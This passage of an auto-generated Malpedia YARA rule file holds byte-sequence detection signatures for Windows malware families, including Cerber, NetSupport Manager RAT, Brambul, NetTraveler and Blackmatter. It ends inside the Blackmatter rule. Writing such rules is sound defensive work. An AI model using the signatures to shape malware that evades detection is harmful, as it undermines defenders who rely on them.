		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_116"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_116_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "aa3fe5ce882f091eaea8e0baeea989ea94aa46089f7c3aca2e5f5e4ccdc04bad"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 48 8d0d628bfaff ff15???????? 48 8d05158bfaff 83fe01 48 }
		$sequence_1 = { e8???????? 48 89442428 4c 8d05a724fcff 4c }
		$sequence_2 = { ff15???????? 83f8ff 7508 ff15???????? 8bd8 4c 8b8608010000 }
		$sequence_3 = { 8bd9 48 8901 f6c201 740a ba38000000 e8???????? }
		$sequence_4 = { 8b7c2460 49 63e8 48 03ea 44 8b3f }
		$sequence_5 = { 8bc0 c1e010 c1e910 0bc8 41 c1e810 0fb6432f }
		$sequence_6 = { eb44 48 8b4c2420 e8???????? 48 8bf8 48 }
		$sequence_7 = { f20f59d3 48 03c2 48 ba00803ed5 deb19d014803 c28944 }
		$sequence_8 = { 41 5e c3 48 896c2430 48 897c2440 }
		$sequence_9 = { 8bf9 0f84be000000 48 895c2430 48 89742438 48 }
	condition:
		7 of them and filesize < 1040384
}

rule MALPEDIA_Win_Cerber_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "4c9d39f2-1f37-54c9-9401-1cacb9319069"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cerber"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cerber_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "b9dc28e7f8f56d5aa5c92d6f0da2514b7004d6b05c357e6e1f8548cb64132bf7"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8345fc04 8901 ff45f8 8b45f8 }
		$sequence_1 = { 8b5508 2bd7 8955f4 8975fc }
		$sequence_2 = { 59 84c0 7413 8b450c 56 ff7508 8b7510 }
		$sequence_3 = { 833c8100 7505 85c0 75f1 c3 40 }
		$sequence_4 = { 8b550c 8b4510 b900100000 2b8e7c3b0000 33db 2b55fc 1bc3 }
		$sequence_5 = { 7709 39450c 0f86dc000000 8b550c 8b4510 }
		$sequence_6 = { 6a00 50 e8???????? 8b4df0 83c40c 85c9 7e58 }
		$sequence_7 = { 7433 8b7d0c 8b5508 2bd7 8955f4 8975fc }
		$sequence_8 = { 762e 85d2 7838 8b4508 8b04b8 83651400 837d1420 }
		$sequence_9 = { 3b7d0c 72d2 85d2 780a }
	condition:
		7 of them and filesize < 573440
}

rule MALPEDIA_Win_Netsupportmanager_Rat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "13acdf1c-aae7-5f3b-a339-4a965b00f439"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.netsupportmanager_rat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.netsupportmanager_rat_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "3b964c7562d1d913c21c0e25b573efbe6d24c01cca1047333434d5efeafe733c"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 8b4530 83c62c 3bf0 7516 8b4538 83c004 }
		$sequence_1 = { ffd7 68???????? 56 894344 ffd7 8b7508 89431c }
		$sequence_2 = { e9???????? 8d8d4cffffff e9???????? 8d8dacfeffff e9???????? 8d8d6cffffff e9???????? }
		$sequence_3 = { e8???????? 83f82a 7520 ba???????? 85d2 7417 6877270000 }
		$sequence_4 = { ffd7 8b4620 50 ff15???????? 8b4e24 5f 66c741080000 }
		$sequence_5 = { 8dbe88000000 c745fc06000000 8b07 85c0 7403 50 ffd3 }
		$sequence_6 = { ff15???????? 5f 33c0 5e c3 68???????? 56 }
		$sequence_7 = { e8???????? 8b3d???????? 83c418 68???????? 56 ffd7 3bc3 }
		$sequence_8 = { ff4020 8b7604 8b460c 85c0 740a 8b450c 85c0 }
		$sequence_9 = { ff5254 83f8ff 0f8517020000 8b4514 8b16 50 57 }
	condition:
		7 of them and filesize < 4734976
}

rule MALPEDIA_Win_Pirpi_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "a7077df7-231e-50c6-a30a-b0c867545de5"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pirpi"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pirpi_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "e76dba310cd3f8d181253104bae884733437724bbd7b8a3e7170c860a0db32f8"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 8bf8 8d4610 50 8d4c2424 6a0c }
		$sequence_1 = { bf???????? 8bf0 33db c70200000000 f3a7 745c b904000000 }
		$sequence_2 = { 0f849e000000 8d7c2434 83c9ff 33c0 f2ae f7d1 49 }
		$sequence_3 = { 8bca 8b5510 83e103 52 f3a4 }
		$sequence_4 = { 8b542404 57 85d2 c705????????00000000 7461 8bfa }
		$sequence_5 = { 8bac24f0000000 8d7c241c 2beb 8b07 }
		$sequence_6 = { 83fbff 742b b941000000 33c0 8d7c2420 85f6 f3ab }
		$sequence_7 = { ff15???????? 8bf0 85f6 897508 7545 8b5d0c }
		$sequence_8 = { 81ec10020000 8bd1 b940000000 33c0 57 8dbc2414010000 }
		$sequence_9 = { 81c41c020000 c3 8bb42430020000 85f6 0f841dffffff b941000000 8d7c2420 }
	condition:
		7 of them and filesize < 327680
}

rule MALPEDIA_Win_Brambul_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "4ed55462-e49e-50fe-a0d1-6f0e1f85cf77"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.brambul"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.brambul_auto.yar#L1-L172"
		license_url = "N/A"
		logic_hash = "938c39a82f375c34fe26abb1fc00229e1aa1c5407e38b617fd73b29996474592"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d4e03 2bee 8a01 8ad8 80e30f c0e804 }
		$sequence_1 = { a3???????? 68???????? 68???????? e8???????? 83c408 50 }
		$sequence_2 = { 8d8c2438020000 51 ff15???????? 8bac2428090000 83c9ff 8bfd }
		$sequence_3 = { 33c0 8d94240c010000 f2ae f7d1 2bf9 6a00 8bc1 }
		$sequence_4 = { 8b4c241c 40 3bc1 89442418 0f8cfefeffff 8b442414 }
		$sequence_5 = { 83c40c 8b5514 833a00 0f84db000000 837decfe 0f8ed1000000 c745e401000000 }
		$sequence_6 = { 8985a849ffff 8985c05dffff 8985c45dffff 8945f8 895df0 }
		$sequence_7 = { 8b4002 8985b049ffff c785ac49ffff02000000 e9???????? f6c140 0f8428010000 f6c120 }
		$sequence_8 = { 42 bf08000000 89542410 c6041600 85ed }
		$sequence_9 = { 48 234508 8d0440 8d0441 0fb64801 }
		$sequence_10 = { 8913 5f d3e7 3bc8 7316 }
		$sequence_11 = { 46 6a00 8d849db84dffff 56 }
		$sequence_12 = { 0f8e5b020000 68???????? 68???????? 8d54242c 68???????? 52 }
		$sequence_13 = { 03f3 8bd9 8dbc379979825a 8bf7 }
		$sequence_14 = { 81c404010000 c3 56 8d542414 68???????? }
		$sequence_15 = { c1ee17 c1e709 0bf7 33ce 8bf9 33fa }
	condition:
		7 of them and filesize < 188416
}

rule MALPEDIA_Win_Hotwax_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "8f2ed895-b1d8-5520-8ccc-967359fd3764"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hotwax"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hotwax_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "d7cd386e473b27344ee89ce7aa7064b521c3dfeec69fed7db0108e253da6990c"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 807d580a 4c8d05737dffff 740f eb07 4c8d05687dffff 448823 48ffc3 }
		$sequence_1 = { 488d542448 488d8c2400020000 e8???????? 488b5c2448 85c0 740b ff15???????? }
		$sequence_2 = { 4889842410030000 488bf9 488d8c2401020000 33d2 41b803010000 c684240002000000 }
		$sequence_3 = { 488d15edd30000 488bcb 488905???????? ff15???????? 488d15bed30000 }
		$sequence_4 = { 4533db 488d9424f0000000 41b803010000 44895c2440 4c895c2448 ff15???????? 833d????????00 }
		$sequence_5 = { 486bd258 490394c1a04b0100 f6423880 742c }
		$sequence_6 = { c785080500004c647247 c7850c05000065745072 c785100500006f636564 c7851405000075726541 c7851805000064647265 }
		$sequence_7 = { 0f84da000000 488b9424b0000000 8bd8 410fb7f6 4803da 488d3c0a 488b0b }
		$sequence_8 = { 488b0d???????? eb7c 4c8d256a830000 488b0d???????? eb6c e8???????? }
		$sequence_9 = { 33c0 e9???????? 48895c2408 4c63c1 488d1d45770000 4d8bc8 }
	condition:
		7 of them and filesize < 198656
}

rule MALPEDIA_Win_Curlback_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "92c5ff94-7733-554e-9411-adf2e04e8882"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.curlback"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.curlback_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "5762a9ce8640933ae705745a803bbe43e75d1e28f524d7c7dfbc6bececc7a9c4"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 84c0 7420 488d153ac20c00 488bcb e8???????? eb0f }
		$sequence_1 = { ba15000000 488bce e8???????? eb4c 488b5318 488bc8 e8???????? }
		$sequence_2 = { 8bd8 85c0 752e 488b97a8080000 488d8f08130000 e8???????? 8bd8 }
		$sequence_3 = { 85c0 7848 488b4550 488b08 488b5958 498bd6 488d8d88000000 }
		$sequence_4 = { 7527 488b4c2460 4c8bc5 e8???????? 85c0 7516 488d15ac050b00 }
		$sequence_5 = { 4883c908 498bc7 48894c2470 0fb6d1 48894590 eb14 b8f7ffffff }
		$sequence_6 = { baffff0000 e8???????? 48899ec8010000 33c0 8983ac1c0000 488bce }
		$sequence_7 = { e8???????? 894340 83f80d 742a 83f80b 0f8562050000 498bce }
		$sequence_8 = { eb11 488b4308 488b08 48894ddf eb04 4c897def 48895db7 }
		$sequence_9 = { 80bd2d13000000 7513 488bcd 85db 0f84a1000000 488bd3 e8???????? }
	condition:
		7 of them and filesize < 4027392
}

rule MALPEDIA_Win_Spyder_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "3b0ab008-5fca-5304-bb77-2526da47aa2d"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.spyder"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.spyder_auto.yar#L1-L174"
		license_url = "N/A"
		logic_hash = "12d22cf7781abc3ab19a5f3d98a04aaf02d5caaba80e64280fab23edd5e8d3b7"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 488d057a150000 488905???????? 488d0590200000 488905???????? 488d0576150000 488905???????? }
		$sequence_1 = { 488bc8 ff15???????? 488d15385f0000 488bce 488905???????? ff15???????? }
		$sequence_2 = { 4181f9000000c0 7532 4585d2 756e 488d4b04 4c8d05563e0000 }
		$sequence_3 = { 4c8d05fc890000 498bd4 488bcd e8???????? 85c0 }
		$sequence_4 = { 486bd258 488b04c1 488d4c1010 48ff25???????? 48895c2408 57 }
		$sequence_5 = { 4c8bd8 488905???????? 4885c0 7422 488d15795e0000 488bce ff15???????? }
		$sequence_6 = { 488d0d68a10000 e8???????? 488d1584a10000 488d0d75a10000 e8???????? 90 }
		$sequence_7 = { 443bce 753c 4585d2 7537 488d4b04 4c8d05173e0000 418d5216 }
		$sequence_8 = { 6803010000 f3ab 66ab aa 8d442414 50 }
		$sequence_9 = { 8b4c2414 81e2ffff0000 25ffff0000 52 8b542416 }
		$sequence_10 = { ff15???????? 5f 5e b801000000 5b 81c47c150000 c3 }
		$sequence_11 = { 8bec 8b4508 ff348570370910 ff15???????? 5d }
		$sequence_12 = { c1f805 8d3c85204b0910 8bc3 83e01f }
		$sequence_13 = { 8944241a 66895c2410 668944241e ff15???????? 8b542418 8b442416 }
		$sequence_14 = { f3ab 8b8c248c150000 8d942488010000 66ab aa 8d842490150000 }
		$sequence_15 = { b918000000 33c0 8d7c2431 885c2430 }
	condition:
		7 of them and filesize < 1458176
}

rule MALPEDIA_Win_Crat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "6875ef99-cb78-5d35-8902-45286f9925fd"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.crat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.crat_auto.yar#L1-L176"
		license_url = "N/A"
		logic_hash = "6a558eedfed48b48235f564ba72a779c4c350ad31cd93998f4d10b79b9d23f07"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 488bd0 488d8d78010000 e8???????? 90 }
		$sequence_1 = { 488bd0 488d8d38030000 e8???????? 90 }
		$sequence_2 = { e8???????? 488bd0 488d8d28010000 e8???????? 90 }
		$sequence_3 = { e8???????? 488bd0 488d4d90 e8???????? 90 488bd0 }
		$sequence_4 = { e8???????? 488bd0 488d8db8000000 e8???????? 90 }
		$sequence_5 = { e8???????? 488bd0 488d8d40010000 e8???????? 90 }
		$sequence_6 = { e8???????? 488bd0 488d8de8000000 e8???????? 90 }
		$sequence_7 = { ebd0 498bc4 48833d????????10 480f4305???????? 482bc8 }
		$sequence_8 = { 33d2 c1e902 f7f1 eb02 }
		$sequence_9 = { ffd0 85c0 750f ff15???????? 83f87a }
		$sequence_10 = { 52 8b01 ff5004 c645fc08 8bcf 8b5648 }
		$sequence_11 = { 2b460c f20f114dc0 83f810 7d0d 51 }
		$sequence_12 = { 50 e8???????? 83c404 e8???????? 33d2 f7f7 81c2e8030000 }
		$sequence_13 = { 52 8b01 ff5004 c645fc07 8bcf 8b5640 }
		$sequence_14 = { 52 8b01 ff5004 c645fc06 8bcf 8b563c 83ea10 }
		$sequence_15 = { 2b4624 83f810 7d09 51 }
		$sequence_16 = { 3855e3 7408 8b4dd8 8b55dc eb04 8bce 33d2 }
	condition:
		7 of them and filesize < 4161536
}

rule MALPEDIA_Win_Lodeinfo_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "2842da77-f970-52c3-8984-a714a7915a2f"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lodeinfo"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lodeinfo_auto.yar#L1-L126"
		license_url = "N/A"
		logic_hash = "c6db0fe0e940f8fa6652bc4d77f8fe0b30871c4844a8eaef730ac89cf20d8f74"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 85db 742a 8b4c2420 8bc3 2bcb 81f900100000 }
		$sequence_1 = { 7418 8b4114 3b4614 753f 8b4118 3b4618 7537 }
		$sequence_2 = { ba???????? b9???????? e8???????? 50 e8???????? 8b5c2448 83c404 }
		$sequence_3 = { 8b8d34ffffff 8bfe c1ef03 0fafcf }
		$sequence_4 = { 83c404 46 83fe10 75e3 5f }
		$sequence_5 = { 8955e4 81faff000000 7756 8b55f8 8b4308 8b3a 47 }
		$sequence_6 = { b22d e8???????? 83eb01 75f4 b22b e8???????? 50 }
		$sequence_7 = { 23c7 03d8 895de4 8b7d0c 8bcf }
		$sequence_8 = { 0fb65204 c1e218 d3e2 0bd3 8b5de4 eb68 c7461000000000 }
		$sequence_9 = { 83c404 83f810 722b 8b4c242c 8d5001 8bc1 81fa00100000 }
	condition:
		7 of them and filesize < 712704
}

rule MALPEDIA_Win_Hunters_International_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d8636829-de8e-581c-ad4e-c31c44dd9781"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hunters_international"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hunters_international_auto.yar#L1-L117"
		license_url = "N/A"
		logic_hash = "9c91c92551d0b4c31eb2166ecca4cb74b9d63e524f9ede84d728adc0424bfc5e"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c641040c e9???????? c641040d e9???????? }
		$sequence_1 = { e9???????? c641040d e9???????? c641040e e9???????? c641040f e9???????? }
		$sequence_2 = { 241f 3c1f 750f c70100000000 c641041f }
		$sequence_3 = { c641040c e9???????? c641040d e9???????? c641040e }
		$sequence_4 = { c6410402 e9???????? c6410405 e9???????? c641040c e9???????? c641040d }
		$sequence_5 = { c6410405 e9???????? c641040c e9???????? c641040d e9???????? }
		$sequence_6 = { 750f c70100000000 c641041f c6410810 }
		$sequence_7 = { c6410400 e9???????? c6410402 e9???????? c6410405 }
		$sequence_8 = { c6410402 e9???????? c6410405 e9???????? }
		$sequence_9 = { c641040c e9???????? c641040d e9???????? c641040e e9???????? }
	condition:
		7 of them and filesize < 1377280
}

rule MALPEDIA_Win_Netkey_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d0a2d0e1-28d1-5f88-b1cb-dda359954bd2"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.netkey"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.netkey_auto.yar#L1-L127"
		license_url = "N/A"
		logic_hash = "daf69a83c7310935a12c421c94563aee301c2dd28fd19c71dd25e72dc29acd85"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8bca 0fa4c103 c1e003 03f0 13d1 0fa4f202 c1e602 }
		$sequence_1 = { 786d 8b4d08 8bd6 e8???????? 85c0 }
		$sequence_2 = { 83fa03 7511 8b45fc 8b0c85a8214400 8a06 }
		$sequence_3 = { 83c40c 8d85f0dfffff 6800080000 50 6a00 56 ff15???????? }
		$sequence_4 = { 83e10f eb02 33c9 8b450c 0fb684c8b02e4300 c1e804 }
		$sequence_5 = { 05b0407c05 3146e8 8b4714 059ea0eb01 3146ec 8b4718 05???????? }
		$sequence_6 = { 8b95b4efffff 46 8985f8efffff 8bc2 c1e802 40 3bf0 }
		$sequence_7 = { e8???????? 51 e8???????? a3???????? 85c0 7974 }
		$sequence_8 = { 8bc1 c1f806 83e13f 6bc930 8b0485a8214400 80640828fe ff36 }
		$sequence_9 = { 3a4801 751c 83c702 83c002 84c9 75e4 }
	condition:
		7 of them and filesize < 606208
}

rule MALPEDIA_Win_Nettraveler_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "49924387-14f0-5a87-ae2b-48062b6b59c8"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nettraveler"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nettraveler_auto.yar#L1-L127"
		license_url = "N/A"
		logic_hash = "64cd33a7e821a03ef4cb5acc77650adcc2d4e3c4a14efecc6b33e33a7efaa84e"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ffd0 50 68???????? ff7510 ff15???????? ff7510 e8???????? }
		$sequence_1 = { 5e 5d 83c440 c3 56 e8???????? e8???????? }
		$sequence_2 = { 0bd1 0355b4 8dbc17aac7b6e9 8bd0 8bcf }
		$sequence_3 = { aa 8bca 33c0 8dbdddefffff 80a5dcf3ffff00 f3ab }
		$sequence_4 = { ff37 56 ff15???????? 53 ff37 56 ff15???????? }
		$sequence_5 = { ffd6 bd???????? 8d442418 55 68???????? 50 ffd7 }
		$sequence_6 = { 53 6a03 53 53 ff75c0 ff75b8 ff7510 }
		$sequence_7 = { ff7508 ffd6 53 8d8590f6ffff 53 50 }
		$sequence_8 = { 8db4850cffffff 8b4508 33d2 0fb6803c910010 8bf8 }
		$sequence_9 = { ff75fc ff15???????? 85c0 7417 8d85f4fdffff 56 }
	condition:
		7 of them and filesize < 106496
}

rule MALPEDIA_Win_Final1Stspy_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "6b262f1e-6f1a-5a41-853b-26929c3926c7"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.final1stspy"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.final1stspy_auto.yar#L1-L120"
		license_url = "N/A"
		logic_hash = "2890f444efdd6c719c6ff20f4502542398a3dec68f7c2fb262ec6568139d72d6"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 80c27a 80f219 881439 41 3bce 7cef 8bc7 }
		$sequence_1 = { 8bd6 0f281d???????? 2bd0 0f10040f 0f28ca 660ffcc2 }
		$sequence_2 = { 8a4803 c1e206 80f93d 7508 47 83ff03 }
		$sequence_3 = { 5d c3 2d???????? 78b0 03d0 8b45fc 8a4803 }
		$sequence_4 = { 7508 47 83ff03 7d3e }
		$sequence_5 = { 7410 8a11 8acb 3aca }
		$sequence_6 = { 81e7ff070080 7908 4f 81cf00f8ffff }
		$sequence_7 = { 81cf00f8ffff 47 33f6 85ff 7e0a e8???????? }
		$sequence_8 = { 84db 7410 8a11 8acb 3aca 7425 8a4801 }
		$sequence_9 = { c3 2d???????? 78dc 8b55fc b9???????? }
	condition:
		7 of them and filesize < 557056
}

rule MALPEDIA_Win_Blackmatter_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "f72bfe88-212a-5b08-bbca-50aa064e9cc7"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackmatter"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.blackmatter_auto.yar#L1-L118"
		license_url = "N/A"
		logic_hash = "e535a5032543c492ff373af34088a44c3884afdd41efbf279f3f7738c128e9a0"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff15???????? ebe7 837dd400 7408 ff75d4 }
		$sequence_1 = { 807eff2e 7502 eb02 eb05 }
		$sequence_2 = { 8d45f4 50 ff15???????? 83c40c 6a0a }
		$sequence_3 = { 0f858c000000 83bdacfdffff00 7509 83bdb0fdffff00 747a }
		$sequence_4 = { 740e ff75f0 ff15???????? 5b 8be5 }
		$sequence_5 = { ff15???????? 85c0 753a 64813d34000000b7000000 }
		$sequence_6 = { c745f000000000 ff7508 ff15???????? 83c404 85c0 0f848a010000 }
		$sequence_7 = { 66ab 648b1d30000000 ff731c ff15???????? 8b7310 8d4638 ff35???????? }
